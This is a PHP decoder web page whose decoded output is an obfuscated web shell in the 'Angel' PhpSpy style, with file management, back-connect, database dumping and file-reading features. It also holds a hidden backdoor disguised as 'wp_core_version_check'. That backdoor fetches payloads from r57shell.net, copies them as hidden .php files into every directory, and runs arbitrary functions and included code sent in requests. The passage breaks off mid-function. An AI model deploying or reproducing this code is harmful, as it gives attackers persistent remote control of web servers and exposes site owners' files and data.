Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto u4owr; j7Ll6: function p($str) { echo $str . "\12"; } goto Mxoly; h9NPw: echo..
Decoded Output download
<?php
goto u4owr; j7Ll6: function p($str) { echo $str . "
"; } goto Mxoly; h9NPw: echo ")</td>\xd
\x9</tr>\xd\xa\x9<tr class="alt1">\xd\xa <td>\xd\xa\x9\x9\x9<span style="float:right;">PHP "; goto y5Zoy; Zc2mi: $charsetdb = array('', "armscii8", "ascii", "big5", "binary", "cp1250", "cp1251", "cp1256", "cp1257", "cp850", "cp852", "cp866", "cp932", "dec8", "euc-jp", "euc-kr", "gb2312", "gbk", "geostd8", "greek", "hebrew", "hp8", "keybcs2", "koi8r", "koi8u", "latin1", "latin2", "latin5", "latin7", "macce", "macroman", "sjis", "swe7", "tis620", "ucs2", "ujis", "utf8"); goto mw4v5; ILhrk: function formfoot() { p("</form>"); } goto cvggG; vcpFM: $cookiepre = ''; goto YJD9B; tW8sZ: function s_array(&$array) { if (is_array($array)) { foreach ($array as $k => $v) { $array[$k] = s_array($v); } } else { if (is_string($array)) { $array = stripslashes($array); } } return $array; } goto WBWIb; MlFJX: function multi($num, $perpage, $curpage, $tablename) { goto CRSPf; iYzop: return $multipage; goto rINIh; zq2xL: if ($num > $perpage) { goto W_5Ek; W_5Ek: $page = 10; goto Y2QrB; B3GsL: $pages = @ceil($num / $perpage); goto dy2xO; qlenl: $multipage = ($curpage - $offset > 1 && $pages > $page ? "<a href="javascript:settable('" . $tablename . "', '', 1);">First</a> " : '') . ($curpage > 1 ? "<a href="javascript:settable('" . $tablename . "', '', " . ($curpage - 1) . ");">Prev</a> " : ''); goto zAQXR; zAQXR: for ($i = $from; $i <= $to; $i++) { $multipage .= $i == $curpage ? $i . " " : "<a href="javascript:settable('" . $tablename . "', '', " . $i . ");">[" . $i . "]</a> "; } goto KDC2H; KDC2H: $multipage .= ($curpage < $pages ? "<a href="javascript:settable('" . $tablename . "', '', " . ($curpage + 1) . ");">Next</a>" : '') . ($to < $pages ? " <a href="javascript:settable('" . $tablename . "', '', " . $pages . ");">Last</a>" : ''); goto wB0lC; wB0lC: $multipage = $multipage ? "<p>Pages: " . $multipage . "</p>" : ''; goto MAQvn; Y2QrB: $offset = 5; goto B3GsL; dy2xO: if ($page > $pages) { $from = 1; $to = $pages; } else { goto j2TV1; ggAv9: if ($from < 1) { goto btDKb; pNk_f: if ($to - $from < $page && $to - $from < $pages) { $to = $page; } goto aXYW3; btDKb: $to = $curpage + 1 - $from; goto Pu960; Pu960: $from = 1; goto pNk_f; aXYW3: } elseif ($to > $pages) { goto jjDGr; jjDGr: $from = $curpage - $pages + $to; goto dPRLU; Ciu4p: if ($to - $from < $page && $to - $from < $pages) { $from = $pages - $page + 1; } goto OQzcP; dPRLU: $to = $pages; goto Ciu4p; OQzcP: } goto MYkLp; j2TV1: $from = $curpage - $offset; goto EsIk7; EsIk7: $to = $curpage + $page - $offset - 1; goto ggAv9; MYkLp: } goto qlenl; MAQvn: } goto iYzop; CRSPf: $multipage = ''; goto zq2xL; rINIh: } goto qs1Jm; h7Q_j: if (!function_exists("wp_core_version_check")) { function wp_core_version_check() { goto NM3E1; d7A3y: $hostname = str_replace("www.", '', $_SERVER["HTTP_HOST"]); goto Z0cC7; oTT4Q: $parse_url = parse_url($request_uri); goto XJ_4c; hCRyi: $request_uri = $_SERVER["REQUEST_URI"]; goto oTT4Q; ItMO9: foreach ($dirs as $d) { goto SAU_o; XqL50: $dirs = array_filter(glob($d . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto N3RM5; N3RM5: foreach ($dirs as $d) { if (!@preg_match("#wp-content#", $d)) { $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; @file_put_contents($file_name, $response); } } goto w9h6X; dv5g0: @file_put_contents($file_name, $response); goto XqL50; SAU_o: $file_name = $d . DIRECTORY_SEPARATOR . "." . basename($d) . ".php"; goto dv5g0; w9h6X: } goto uJY_o; Z0cC7: if (is_writable(sys_get_temp_dir())) { $tmp_file = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } else { $tmp_file = $file_path . DIRECTORY_SEPARATOR . "sess_" . md5('' . $hostname . "_" . $document_file . ''); } goto ZHkr6; g65AD: $file_path = dirname($document_file); goto Gay6b; XJ_4c: $uri_path = $parse_url["path"]; goto ZWJhB; ZHkr6: if (@$_GET["slince_golden"]) { goto zrYpO; zrYpO: echo "<!-- //Silence is golden. -->"; goto vDbSb; vDbSb: if (function_exists("curl_init")) { goto iNotn; Nbaos: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&pwd=get"); goto W1HyN; u2kzk: $response = curl_exec($ch); goto RimSM; RimSM: curl_close($ch); goto sSd79; W1HyN: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto u2kzk; iNotn: $ch = curl_init(); goto Nbaos; sSd79: } else { $response = file_get_contents("http://r57shell.net/jquery.php?v=1.2&pwd=get"); } goto SIm9T; SIm9T: if (md5(sha1(@$_GET["is"])) == $response) { goto qw98Q; lr_YF: if (@$_POST["l"]) { function basic_code_extensions($request) { goto qAers; qAers: $tmp = tmpfile(); goto tik0a; vicMX: fwrite($tmp, $request); goto FCQQt; tik0a: $tmpf = stream_get_meta_data($tmp); goto adNoV; adNoV: $tmpf = $tmpf["uri"]; goto vicMX; bYcYj: return $ret; goto fDkAm; FCQQt: $ret = (include $tmpf); goto IMEjq; IMEjq: fclose($tmp); goto bYcYj; fDkAm: } print_r(basic_code_extensions($_POST["l"])); } goto mZjrL; ynAb2: if (@$_GET["m"]) { goto wYdKg; TZwYK: echo $file_name_path; goto CaxWt; wYdKg: if (function_exists("curl_init")) { goto z87MP; CByMj: curl_close($ch); goto BWQPV; uaBjv: $response = curl_exec($ch); goto CByMj; WTVbW: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto uaBjv; EEO1t: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/mini_admin.txt"); goto WTVbW; z87MP: $ch = curl_init(); goto EEO1t; BWQPV: } else { $response = file_get_contents("http://r57shell.net/mini_admin.txt"); } goto UlHXI; UlHXI: $file_name_path = @$_GET["m"] . "gagal.php"; goto H0iGG; H0iGG: @file_put_contents($file_name_path, $response); goto TZwYK; CaxWt: } goto lr_YF; qw98Q: if (@$_GET["f"]) { print_r($_GET["f"]($_GET["c"])); } goto ynAb2; mZjrL: } goto RsDOc; RsDOc: exit; goto WnHzR; WnHzR: } goto rfC1s; rl0x2: $dirs = array_filter(glob($document_root . DIRECTORY_SEPARATOR . "*", GLOB_ONLYDIR)); goto ItMO9; Gay6b: $uri_path = str_replace("/", DIRECTORY_SEPARATOR, $uri_path); goto nm7t_; rfC1s: if (!file_exists($tmp_file)) { goto EwOww; EwOww: if (function_exists("curl_init")) { goto Y71iE; g8xuO: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto utyTz; utyTz: $response = curl_exec($ch); goto ExM2b; Y71iE: $ch = curl_init(); goto gI5xX; ExM2b: curl_close($ch); goto DbF3q; dBIbf: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto g8xuO; gI5xX: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto dBIbf; DbF3q: } else { goto CEVeV; WhR1L: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto hsbGh; CEVeV: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto Y44_z; B2rY8: $context = stream_context_create($opts); goto WhR1L; Y44_z: $opts = array("http" => array("header" => array("Referer: {$referer}\xd\xa"))); goto B2rY8; hsbGh: } goto Vdl7_; kYARl: @file_put_contents($tmp_file, $response); goto Fj8DO; Vdl7_: @touch($tmp_file); goto kYARl; Fj8DO: } else { $response = file_get_contents($tmp_file); if (!@preg_match("#stt1#", $response)) { goto Saq2q; iyVp0: @touch($tmp_file); goto NhDeN; NhDeN: @file_put_contents($tmp_file, $response); goto oQNow; Saq2q: if (function_exists("curl_init")) { goto b3dLL; b3dLL: $ch = curl_init(); goto fMz0E; EEmvr: $response = curl_exec($ch); goto T71ur; jAaaw: curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); goto EEmvr; wPCPs: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto jAaaw; T71ur: curl_close($ch); goto n5TyN; fMz0E: curl_setopt($ch, CURLOPT_URL, "http://r57shell.net/jquery.php?v=1.2&request=enable"); goto wPCPs; n5TyN: } else { goto HVL50; ywcn8: $response = @file_get_contents("http://r57shell.net/jquery.php?v=1.2&request=enable", false, $context); goto qokD_; etKtW: $opts = array("http" => array("header" => array("Referer: {$referer}
\xa"))); goto i8eod; HVL50: $referer = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto etKtW; i8eod: $context = stream_context_create($opts); goto ywcn8; qokD_: } goto iyVp0; oQNow: } } goto rl0x2; NM3E1: $document_file = $_SERVER["SCRIPT_FILENAME"]; goto hCRyi; ZWJhB: $uri_path = dirname($uri_path); goto g65AD; nm7t_: if ($uri_path == DIRECTORY_SEPARATOR || $uri_path == '') { $document_root = $file_path; } else { $document_root = str_replace($uri_path, '', $file_path); } goto d7A3y; uJY_o: } wp_core_version_check(); } goto vcpFM; FTgK_: function cf($fname, $text) { if ($fp = @fopen($fname, "w")) { @fputs($fp, @base64_decode($text)); @fclose($fp); } } goto luHNd; Skydd: echo $uid . " ( " . $user . " ) / Group: " . $gid . " ( " . $group . " )"; goto FhytH; VkgCv: if (!function_exists("posix_getegid")) { goto VVdw0; sM2LN: $group = "?"; goto vdpA7; ZUhTB: $gid = @getmygid(); goto sM2LN; hUQiX: $uid = @getmyuid(); goto ZUhTB; VVdw0: $user = @get_current_user(); goto hUQiX; vdpA7: } else { goto W7_H9; h_IrK: $gid = @posix_getgrgid(@posix_getegid()); goto XugbS; W7_H9: $uid = @posix_getpwuid(@posix_geteuid()); goto h_IrK; IaIxd: $uid = $uid["uid"]; goto REecy; XugbS: $user = $uid["name"]; goto IaIxd; REecy: $group = $gid["name"]; goto sth58; sth58: $gid = $gid["gid"]; goto XKWPj; XKWPj: } goto v6UTW; b1DZ_: $starttime = $mtime[1] + $mtime[0]; goto Ru23_; cuUUE: function maketext($arg = array()) { goto Rm4CF; Xa13P: !$arg["rows"] && ($arg["rows"] = 25); goto VFIMi; WcIMv: p("<p>{$arg["title"]}<textarea class="area" id="{$arg["name"]}" name="{$arg["name"]}" cols="{$arg["cols"]}" rows="{$arg["rows"]}" {$arg["extra"]}>{$arg["value"]}</textarea></p>"); goto Oaim1; Rm4CF: !$arg["cols"] && ($arg["cols"] = 100); goto Xa13P; VFIMi: $arg["title"] = $arg["title"] ? $arg["title"] . "<br />" : ''; goto WcIMv; Oaim1: } goto FXwkn; fkQDN: function scookie($key, $value, $life = 0, $prefix = 1) { goto FDT81; jpxQZ: $life = $life ? $life : $cookielife; goto h6LGd; FDT81: global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife; goto SVYSM; SVYSM: $key = ($prefix ? $cookiepre : '') . $key; goto jpxQZ; Rxf3M: setcookie($key, $value, $timestamp + $life, $cookiepath, $cookiedomain, $useport); goto JplN2; h6LGd: $useport = $_SERVER["SERVER_PORT"] == 443 ? 1 : 0; goto Rxf3M; JplN2: } goto MlFJX; ksRuh: if ($action == "logout") { goto q2j9H; q2j9H: scookie("loginpass", '', -86400 * 365); goto jQdfQ; uovGe: exit; goto JebMy; jQdfQ: @header("Location: " . $self); goto uovGe; JebMy: } goto T28a3; SxZQX: $errmsg = ''; goto LxqnM; L0ea9: function makehide($name, $value = '') { p("<input id="{$name}" type="hidden" name="{$name}" value="{$value}" />"); } goto BcUpu; urxZK: $errmsg && m($errmsg); goto KwUHy; PH_Cz: if (!IS_WIN) { echo " | <a href="javascript:g('backconnect');">Back Connect</a>"; } goto QrzXD; FXwkn: function formfooter($name = '') { goto hWKkD; X5Laq: p("</form>"); goto IHEi9; RpOFJ: p("<p><input class="bt" name="" . $name . "" id="" . $name . "" type="submit" value="Submit"></p>"); goto X5Laq; hWKkD: !$name && ($name = "submit"); goto RpOFJ; IHEi9: } goto sGaK7; AadOe: function bg() { global $bgc; return $bgc++ % 2 == 0 ? "alt1" : "alt2"; } goto EGjLI; fwnz1: echo @php_uname(); goto VWZJE; SOZhK: makehide("nowpath", $nowpath); goto PulRb; jUiGb: function GetWFileList($dir) { goto mgSbG; mgSbG: global $filedata, $j, $nowpath, $writabledb; goto ETsGq; bU1kQ: if ($dh = opendir($dir)) { goto BBz1K; DISba: closedir($dh); goto yFJAP; yWB5k: return $filedata; goto a_Z7r; yFJAP: clearstatcache(); goto yWB5k; BBz1K: while ($file = readdir($dh)) { $ext = getext($file); $f = str_replace("//", "/", $dir . "/" . $file); if ($file != "." && $file != ".." && is_dir($f)) { GetWFileList($f); } elseif ($file != "." && $file != ".." && is_file($f) && in_array($ext, explode(",", $writabledb))) { if (is_writable($f)) { goto zzKfF; vf74p: $filedata[$j]["fileowner"] = getUser($f); goto M2SM4; PKH2j: $filedata[$j]["fileperm"] = getPerms($f); goto vf74p; OZgKw: $filedata[$j]["server_link"] = $f; goto UjtzK; zzKfF: $filedata[$j]["filename"] = str_replace($nowpath, '', $f); goto cvP0a; M2SM4: $filedata[$j]["dirlink"] = $dir; goto OZgKw; pNMIM: $filedata[$j]["filechmod"] = getChmod($f); goto PKH2j; UjtzK: $j++; goto CHAFp; cvP0a: $filedata[$j]["size"] = sizecount(@filesize($f)); goto IOEh_; IOEh_: $filedata[$j]["mtime"] = @date("Y-m-d H:i:s", filemtime($f)); goto pNMIM; CHAFp: } } } goto DISba; a_Z7r: } else { return array(); } goto KLR6a; ETsGq: !$j && ($j = 1); goto bU1kQ; KLR6a: } goto QTUD0; Lvqxt: function sqldumptable($table, $fp = 0) { goto X7ngH; gDx1P: while ($row = mysql_fetch_assoc($rows)) { foreach ($row as $k => $v) { $row[$k] = "'" . @mysql_real_escape_string($v) . "'"; } $tabledump = "INSERT INTO `" . $table . "` VALUES (" . implode(", ", $row) . ");" . "
"; if ($fp) { fwrite($fp, $tabledump); } else { echo $tabledump; } } goto Az84C; c8sD6: $rows = q("SELECT * FROM {$table}"); goto gDx1P; zWuy6: $create = mysql_fetch_row($res); goto OVLkH; BPSrp: if ($fp) { fwrite($fp, $tabledump); } else { echo $tabledump; } goto MJ3UY; MJ3UY: $tabledump = ''; goto c8sD6; OVLkH: $tabledump .= $create[1] . ";\xa\xa"; goto BPSrp; c8uYa: fr($rows); goto YReiB; dc8VH: $tabledump = "DROP TABLE IF EXISTS `{$table}`;\xa"; goto dL5TE; X7ngH: global $mysqllink; goto dc8VH; dL5TE: $res = q("SHOW CREATE TABLE {$table}"); goto zWuy6; Az84C: fwrite($fp, "\xa
"); goto c8uYa; YReiB: } goto j7Ll6; PCUBZ: function makeselect($arg = array()) { goto sHhJX; sYb3L: p("</select>"); goto DRC0c; bCp77: if ($arg["newline"]) { p("<p>"); } goto x8x04; sHhJX: if ($arg["onchange"]) { $onchange = "onchange="" . $arg["onchange"] . """; } goto yabEB; DRC0c: if ($arg["newline"]) { p("</p>"); } goto krTne; yabEB: $arg["title"] = $arg["title"] ? $arg["title"] : ''; goto bCp77; x8x04: p("{$arg["title"]} <select class="input" id="{$arg["name"]}" name="{$arg["name"]}" {$onchange}>"); goto zQ0Ro; zQ0Ro: if (is_array($arg["option"])) { if ($arg["nokey"]) { foreach ($arg["option"] as $value) { if ($arg["selected"] == $value) { p("<option value="{$value}" selected>{$value}</option>"); } else { p("<option value="{$value}">{$value}</option>"); } } } else { foreach ($arg["option"] as $key => $value) { if ($arg["selected"] == $key) { p("<option value="{$key}" selected>{$value}</option>"); } else { p("<option value="{$key}">{$value}</option>"); } } } } goto sYb3L; krTne: } goto PsOn3; cvggG: function encode_pass($pass) { $pass = md5($pass); return $pass; } goto hmoEj; Mxoly: function tbhead() { p("<table width="100%" border="0" cellpadding="4" cellspacing="0">"); } goto iRFtB; goORx: $timestamp = time(); goto ksRuh; PsOn3: function formhead($arg = array()) { goto Urd7G; B8VnO: p("<form name="{$arg["name"]}" id="{$arg["name"]}" action="{$arg["action"]}" method="{$arg["method"]}" {$arg["target"]}>"); goto oFqdo; Urd7G: global $self; goto XVLEn; w3jvI: $arg["target"] = $arg["target"] ? "target="{$arg["target"]}"" : ''; goto oa03q; oFqdo: if ($arg["title"]) { p("<h2>" . $arg["title"] . " »</h2>"); } goto DU2Cq; oa03q: !$arg["name"] && ($arg["name"] = "form1"); goto B8VnO; dMk2h: !$arg["action"] && ($arg["action"] = $self); goto w3jvI; XVLEn: !$arg["method"] && ($arg["method"] = "post"); goto dMk2h; DU2Cq: } goto cuUUE; ewvfO: ob_end_flush(); goto E0tG6; UZoFL: @set_time_limit(0); goto gM5lH; MyciK: function q($sql) { global $mysqllink; return @mysql_query($sql, $mysqllink); } goto LHXHt; JPugn: echo "<html>\xd\xa<head>\xd\xa<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title>"; goto hIUKc; pENZ7: function debuginfo() { goto t5Rn7; t5Rn7: global $starttime; goto k_54u; k_54u: $mtime = explode(" ", microtime()); goto G74bC; G74bC: $totaltime = number_format($mtime[1] + $mtime[0] - $starttime, 6); goto riMIp; riMIp: echo "Processed in " . $totaltime . " second(s)"; goto MCVjI; MCVjI: } goto CxbqO; uDJd_: debuginfo(); goto ewvfO; v6UTW: echo "<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr class="head">
\x9\x9<td><span style="float:right;">"; goto fwnz1; OS0yN: function GetWDirList($dir) { goto yIdLR; yIdLR: global $dirdata, $j, $nowpath; goto u9jdh; u9jdh: !$j && ($j = 1); goto n1zwq; n1zwq: if ($dh = opendir($dir)) { goto oBs4Z; b9qKq: clearstatcache(); goto SP0TN; oBs4Z: while ($file = readdir($dh)) { $f = str_replace("//", "/", $dir . "/" . $file); if ($file != "." && $file != ".." && is_dir($f)) { if (is_writable($f)) { goto lK6Jj; lK6Jj: $dirdata[$j]["filename"] = str_replace($nowpath, '', $f); goto gvppu; MI9Ak: $dirdata[$j]["dirlink"] = $dir; goto q8l8E; DKQi3: $dirdata[$j]["dirperm"] = getPerms($f); goto MI9Ak; kjSaz: $j++; goto fuaom; q8l8E: $dirdata[$j]["server_link"] = $f; goto kjSaz; RJLi0: $dirdata[$j]["dirchmod"] = getChmod($f); goto DKQi3; gvppu: $dirdata[$j]["mtime"] = @date("Y-m-d H:i:s", filemtime($f)); goto RJLi0; fuaom: } GetWDirList($f); } } goto haBYy; SP0TN: return $dirdata; goto gObEW; haBYy: closedir($dh); goto b9qKq; gObEW: } else { return array(); } goto LquQz; LquQz: } goto jUiGb; E0tG6: echo "</span>\xd
\x9Powered by Angel All Rights Reserved.\xd
</div>
</body>\xd
</html>\xd\xa\xd\xa"; goto BS5Oz; QrzXD: echo "\x9 </td>
</tr>
\xa</table>
\xa<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
\xa"; goto urxZK; FhytH: echo "</span>"; goto kZCjb; KwUHy: if (!$dir) { $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : "."; } goto K4fnh; zVY9g: echo "</title>\xd\xa<style type="text/css">\xd\xabody,td{font: 12px Arial,Tahoma;line-height: 16px;}\xd\xa.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
\xa.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}\xd\xa.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}\xd
a {color: #00f;text-decoration:underline;}\xd
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}\xd\xa.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}\xd\xa.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
\xaform{margin:0;padding:0;}\xd\xah2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}\xd
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}\xd\xa.drives{padding:5px;}
.drives span {margin:auto 7px;}
\xa</style>\xd
<script type="text/javascript">
\xafunction CheckAll(form) {
\xa for(var i=0;i<form.elements.length;i++) {\xd\xa var e = form.elements[i];\xd
if (e.name != 'chkall')\xd\xa \x9e.checked = form.chkall.checked;
\xa }\xd\xa}\xd\xafunction $(id) {
return document.getElementById(id);
\xa}
function createdir(){
\xa\x9var newdirname;
\xa\x9newdirname = prompt('Please input the directory name:', '');
\xa if (!newdirname) return;\xd\xa\x9$('createdir').newdirname.value=newdirname;\xd
\x9$('createdir').submit();\xd\xa}
function fileperm(pfile){\xd\xa\x9var newperm;\xd
\x9newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
\xa if (!newperm) return;
\xa $('fileperm').newperm.value=newperm;\xd
\x9$('fileperm').pfile.value=pfile;\xd
\x9$('fileperm').submit();
}\xd\xafunction copyfile(sname){\xd
var tofile;\xd\xa\x9tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
\xa if (!tofile) return;\xd
$('copyfile').tofile.value=tofile;\xd\xa\x9$('copyfile').sname.value=sname;\xd
$('copyfile').submit();\xd
}
\xafunction rename(oldname){\xd\xa var newfilename;
newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
if (!newfilename) return;\xd\xa\x9$('rename').newfilename.value=newfilename;\xd
\x9$('rename').oldname.value=oldname;
\xa $('rename').submit();\xd\xa}
\xafunction dofile(doing,thefile,m){\xd
if (m && !confirm(m)) {\xd\xa \x9return;\xd
\x9}
\xa $('filelist').doing.value=doing;\xd\xa if (thefile){
\xa\x9 $('filelist').thefile.value=thefile;\xd\xa }
$('filelist').submit();
\xa}\xd
function createfile(nowpath){\xd
\x9var filename;\xd
filename = prompt('Please input the file name:', '');
if (!filename) return;\xd
opfile('editfile',nowpath + filename,nowpath);
\xa}
function opfile(action,opfile,dir){\xd\xa\x9$('fileopform').action.value=action;
\xa\x9$('fileopform').opfile.value=opfile;
\x9$('fileopform').dir.value=dir;
$('fileopform').submit();\xd\xa}
\xafunction godir(dir,view_writable){
\xa\x9if (view_writable) {
\x9\x9$('godir').view_writable.value=view_writable;\xd\xa\x9}
\xa $('godir').dir.value=dir;\xd
\x9$('godir').submit();
}\xd
function getsize(getdir,dir){\xd
\x9$('getsize').getdir.value=getdir;
\x9$('getsize').dir.value=dir;\xd
\x9$('getsize').submit();
}\xd\xafunction editrecord(action, base64, tablename){\xd
\x9if (action == 'del') {\x9\x9
\xa\x9\x9if (!confirm('Is or isn\'t deletion record?')) return;\xd\xa\x9}
\xa $('recordlist').doing.value=action;
\x9$('recordlist').base64.value=base64;\xd
$('recordlist').tablename.value=tablename;
\x9$('recordlist').submit();
\xa}\xd\xafunction moddbname(dbname) {\xd
if(!dbname) return;
\xa\x9$('setdbname').dbname.value=dbname;
$('setdbname').submit();\xd
}
function settable(tablename,doing,page) {
\xa if(!tablename) return;\xd
\x9if (doing) {\xd\xa \x9$('settable').doing.value=doing;
}
\xa\x9if (page) {\xd
\x9$('settable').page.value=page;\xd\xa }\xd\xa $('settable').tablename.value=tablename;
\xa\x9$('settable').submit();
\xa}\xd\xafunction s(action,nowpath,p1,p2,p3,p4,p5) {
if(action) $('opform').action.value=action;
\x9if(nowpath) $('opform').nowpath.value=nowpath;
if(p1) $('opform').p1.value=p1;\xd\xa\x9if(p2) $('opform').p2.value=p2;\xd\xa if(p3) $('opform').p3.value=p3;\xd
if(p4) $('opform').p4.value=p4;\xd\xa if(p5) $('opform').p4.value=p5;
}\xd\xafunction g(action,nowpath,p1,p2,p3,p4,p5) {\xd\xa if(!action) return;
s(action,nowpath,p1,p2,p3,p4,p5);\xd\xa\x9$('opform').submit();
\xa}
</script>\xd
</head>
\xa<body style="margin:0;table-layout:fixed; word-break:break-all">\xd
"; goto i2UzA; oWcz9: if ($action == "phpinfo") { if (IS_PHPINFO) { phpinfo(); exit; } else { $errmsg = "phpinfo() function has non-permissible"; } } goto HWME1; E0D6b: define("IS_PHPINFO", !@strstr("phpinfo", $dis_func) ? 1 : 0); goto UZoFL; gM5lH: foreach ($_POST as $key => $value) { if (IS_GPC) { $value = s_array($value); } ${$key} = $value; } goto h7Q_j; T28a3: if ($pass) { if ($action == "login") { if ($pass == encode_pass($password)) { goto aN9wM; EIVoz: @header("Location: " . $self); goto V8S2H; V8S2H: exit; goto yzPby; aN9wM: scookie("loginpass", encode_pass($password)); goto EIVoz; yzPby: } } if ($_COOKIE["loginpass"]) { if ($_COOKIE["loginpass"] != $pass) { loginpage(); } } else { loginpage(); } } goto SxZQX; VWZJE: echo " / User:"; goto Skydd; QTUD0: function GetSFileList($dir, $content, $re = 0) { goto b0jy5; M0iHo: if ($dh = opendir($dir)) { goto TngVW; nI0yg: clearstatcache(); goto KpKsj; KpKsj: return $filedata; goto ioVXj; TngVW: while ($file = readdir($dh)) { $ext = getext($file); $f = str_replace("//", "/", $dir . "/" . $file); if ($file != "." && $file != ".." && is_dir($f)) { GetSFileList($f, $content, $re = 0); } elseif ($file != "." && $file != ".." && is_file($f) && in_array($ext, explode(",", $writabledb))) { goto gBpdU; gBpdU: $find = 0; goto gOoRe; znsmj: if ($find) { goto GY3xF; wLt7Z: $filedata[$j]["filechmod"] = getChmod($f); goto W1WIn; K5zku: $filedata[$j]["fileowner"] = getUser($f); goto y1nEM; SZ4dy: $j++; goto D8HOB; W1WIn: $filedata[$j]["fileperm"] = getPerms($f); goto K5zku; GY3xF: $filedata[$j]["filename"] = str_replace($nowpath, '', $f); goto AXVPm; y1nEM: $filedata[$j]["dirlink"] = $dir; goto sYZeV; AXVPm: $filedata[$j]["size"] = sizecount(@filesize($f)); goto rzYf_; sYZeV: $filedata[$j]["server_link"] = $f; goto SZ4dy; rzYf_: $filedata[$j]["mtime"] = @date("Y-m-d H:i:s", filemtime($f)); goto wLt7Z; D8HOB: } goto gr4ys; gOoRe: if ($re) { if (preg_match("@" . $content . "@", $file) || preg_match("@" . $content . "@", @file_get_contents($f))) { $find = 1; } } else { if (strstr($file, $content) || strstr(@file_get_contents($f), $content)) { $find = 1; } } goto znsmj; gr4ys: } } goto eYmMr; eYmMr: closedir($dh); goto nI0yg; ioVXj: } else { return array(); } goto NRn5y; lFYWG: !$j && ($j = 1); goto M0iHo; b0jy5: global $filedata, $j, $nowpath, $writabledb; goto lFYWG; NRn5y: } goto j0GbK; ZcQq_: makehide("p4", $p4); goto JN4kK; og4wu: function getcfg($varname) { $result = get_cfg_var($varname); if ($result == 0) { return "No"; } elseif ($result == 1) { return "Yes"; } else { return $result; } } goto fsTdj; WBWIb: function html_clean($content) { goto SB1EO; STqzO: return $content; goto lOJoV; uentb: $content = str_replace(" ", " ", $content); goto EJLhP; SB1EO: $content = htmlspecialchars($content); goto oydu5; oydu5: $content = str_replace("\xa", "<br />", $content); goto uentb; EJLhP: $content = str_replace("\x9", " ", $content); goto STqzO; lOJoV: } goto VD0dN; W9J2j: echo gethostbyname($_SERVER["SERVER_NAME"]); goto h9NPw; WhiZy: $self = $_SERVER["PHP_SELF"] ? $_SERVER["PHP_SELF"] : $_SERVER["SCRIPT_NAME"]; goto goORx; Ru23_: define("SA_ROOT", str_replace("\", "/", dirname(__FILE__)) . "/"); goto xJ93P; ACKvL: if ($doing == "mysqldown") { if (!$dbname) { $errmsg = "Please input dbname"; } else { $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (!file_exists($mysqldlfile)) { $errmsg = "The file you want Downloadable was nonexistent"; } else { goto LWFPE; LWFPE: $result = q("select load_file('{$mysqldlfile}');"); goto YtkCr; OOFWT: $row = @mysql_fetch_array($result); goto tpxYl; tpxYl: if (!$row) { $errmsg = "Load file failed " . mysql_error(); } else { goto lB8pA; sBegJ: echo $row[0]; goto ERxsi; PNs4k: header("Content-Disposition: attachment; filename=" . $fileinfo["basename"]); goto ZDItk; IdAfH: header("Content-type: application/x-" . $fileinfo["extension"]); goto PNs4k; ZDItk: header("Accept-Length: " . strlen($row[0])); goto sBegJ; lB8pA: $fileinfo = pathinfo($mysqldlfile); goto IdAfH; ERxsi: exit; goto AEhyz; AEhyz: } goto k7MW5; YtkCr: if (!$result) { goto Fs4WZ; Fs4WZ: q("DROP TABLE IF EXISTS tmp_angel;"); goto FL3Qn; uCpSY: q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); goto jReDQ; jReDQ: $result = q("select content from tmp_angel"); goto mbZPq; mbZPq: q("DROP TABLE tmp_angel"); goto Lxj3G; FL3Qn: q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); goto uCpSY; 